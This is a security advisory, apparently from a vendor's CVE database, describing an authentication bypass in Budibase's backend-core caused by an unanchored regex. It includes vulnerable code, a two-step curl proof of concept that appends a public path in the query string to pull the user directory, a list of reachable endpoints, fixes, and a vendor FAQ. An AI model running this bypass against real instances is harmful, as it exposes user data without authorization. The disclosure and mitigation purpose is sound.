CVE-2026-41428

Budibase: Authentication Bypass via Unanchored Regex in Public Endpoint Matcher, Unauthenticated Access to Protected Endpoints

return { regex: new RegExp(route), method, route }

const urlMatch = regex.test(ctx.request.url)

const found = matches(ctx, noAuthOptions)
if (found) {
  publicEndpoint = true
}

.use((ctx, next) => {
  if (ctx.publicEndpoint) {
    return next()        // ← SKIPS the auth check below
  }
  if ((!ctx.isAuthenticated || ...) && !ctx.internal) {
    ctx.throw(403, "Unauthorized")   // ← never reached
  }
})

export const loggedInRoutes = endpointGroupList.group()   // no middleware

# Step 1: Confirm normal request is blocked
$ curl -s -o /dev/null -w "%{http_code}" \
    -X POST -H "Content-Type: application/json" -d '{}' \
    "https://budibase-instance/api/global/users/search"
403

# Step 2: Bypass auth via query string injection
$ curl -s -X POST -H "Content-Type: application/json" -d '{}' \
    "https://budibase-instance/api/global/users/search?x=/api/system/status"
{"data":[{"email":"[email protected]","admin":{"global":true},...}],...}

An unauthenticated attacker can:

1. Enumerate all users, emails, names, roles, admin status, builder status via /api/global/users/search
2. Discover account holder, identify the instance owner via /api/global/users/accountholder
3. Trigger license refresh, potentially disrupt service via /api/global/license/refresh
4. Publish events, inject events into the event system via /api/global/event/publish

The user search is the most damaging, it reveals the full user directory of the Budibase instance to anyone on the internet.

Note: endpoints on builderOrAdminRoutes and adminRoutes are NOT affected because they have secondary middleware (workspaceBuilderOrAdmin, adminOnly) that independently checks ctx.user and throws 403 when it's undefined. Only loggedInRoutes endpoints (which rely solely on the global auth check) are exposed.

The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.

CVE-2026-41428 has a CVSS score of 9.1 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

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Two options (both should be applied):

Option A, Anchor the regex:

// matchers.ts line 26
return { regex: new RegExp('^' + route + '(\\?|$)'), method, route }

Option B, Use ctx.request.path instead of ctx.request.url:

// matchers.ts line 32
const urlMatch = regex.test(ctx.request.path)  // excludes query string

1. What is CVE-2026-41428? CVE-2026-41428 is a critical-severity improper authentication vulnerability in @budibase/backend-core (npm), affecting versions <= 3.35.3. No fixed version is listed yet. The application does not adequately verify the identity of a user, device, or process before granting access.
2. How severe is CVE-2026-41428? CVE-2026-41428 has a CVSS score of 9.1 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @budibase/backend-core are affected by CVE-2026-41428? @budibase/backend-core (npm) versions <= 3.35.3 is affected.
4. Is there a fix for CVE-2026-41428? No fixed version is listed for CVE-2026-41428 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-41428 exploitable, and should I be worried? Whether CVE-2026-41428 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-41428 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-41428? No fixed version is listed yet. In the interim: Keep the dependency up to date. Ensure authentication checks are present and cannot be bypassed by manipulating request parameters.

Other vulnerabilities in @budibase/backend-core